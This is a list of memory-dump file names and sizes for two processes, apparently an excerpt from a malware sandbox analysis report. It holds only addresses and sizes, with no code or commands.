memory/2624-20-0x0000000004BD0000-0x0000000004BE0000-memory.dmpFilesize
64KB
-
memory/2624-34-0x0000000005B50000-0x0000000005EA4000-memory.dmpFilesize
3.3MB
-
memory/2624-35-0x00000000061A0000-0x00000000061BE000-memory.dmpFilesize
120KB
-
memory/2624-36-0x00000000061D0000-0x000000000621C000-memory.dmpFilesize
304KB
-
memory/2624-37-0x0000000004BD0000-0x0000000004BE0000-memory.dmpFilesize
64KB
-
memory/2624-38-0x0000000007370000-0x0000000007406000-memory.dmpFilesize
600KB
-
memory/2624-39-0x00000000066B0000-0x00000000066CA000-memory.dmpFilesize
104KB
-
memory/2624-40-0x0000000006730000-0x0000000006752000-memory.dmpFilesize
136KB
-
memory/2624-23-0x00000000059F0000-0x0000000005A56000-memory.dmpFilesize
408KB
-
memory/2624-42-0x0000000008660000-0x0000000008CDA000-memory.dmpFilesize
6.5MB
-
memory/2624-43-0x0000000007830000-0x0000000007852000-memory.dmpFilesize
136KB
-
memory/2624-44-0x00000000078B0000-0x00000000078C4000-memory.dmpFilesize
80KB
-
memory/2624-22-0x00000000051D0000-0x00000000051F2000-memory.dmpFilesize
136KB
-
memory/2624-21-0x0000000005250000-0x0000000005878000-memory.dmpFilesize
6.2MB
-
memory/2624-24-0x0000000005A60000-0x0000000005AC6000-memory.dmpFilesize
408KB
-
memory/2624-19-0x00000000746C0000-0x0000000074E70000-memory.dmpFilesize
7.7MB
-
memory/2624-50-0x00000000746C0000-0x0000000074E70000-memory.dmpFilesize
7.7MB
-
memory/2624-51-0x0000000004BD0000-0x0000000004BE0000-memory.dmpFilesize
64KB
-
memory/2624-52-0x0000000004BD0000-0x0000000004BE0000-memory.dmpFilesize
64KB
-
memory/2624-53-0x0000000004BD0000-0x0000000004BE0000-memory.dmpFilesize
64KB
-
memory/2624-54-0x0000000007880000-0x0000000007881000-memory.dmpFilesize
4KB
-
memory/2624-55-0x0000000008CE0000-0x000000000E8A3000-memory.dmpFilesize
91.8MB
-
memory/2624-56-0x00000000770E1000-0x0000000077201000-memory.dmpFilesize
1.1MB
-
memory/2624-18-0x0000000004BE0000-0x0000000004C16000-memory.dmpFilesize
216KB
-
memory/2624-73-0x00000000746C0000-0x0000000074E70000-memory.dmpFilesize
7.7MB
-
memory/4300-71-0x0000000001210000-0x0000000002464000-memory.dmpFilesize
18.3MB
-
memory/4300-72-0x0000000000F60000-0x0000000000F87000-memory.dmpFilesize
156KB
-
memory/4300-58-0x00000000770E1000-0x0000000077201000-memory.dmpFilesize
1.1MB
-
memory/4300-57-0x0000000077168000-0x0000000077169000-memory.dmpFilesize
4KB
-
memory/4300-77-0x0000000001210000-0x0000000002464000-memory.dmpFilesize
18.3MB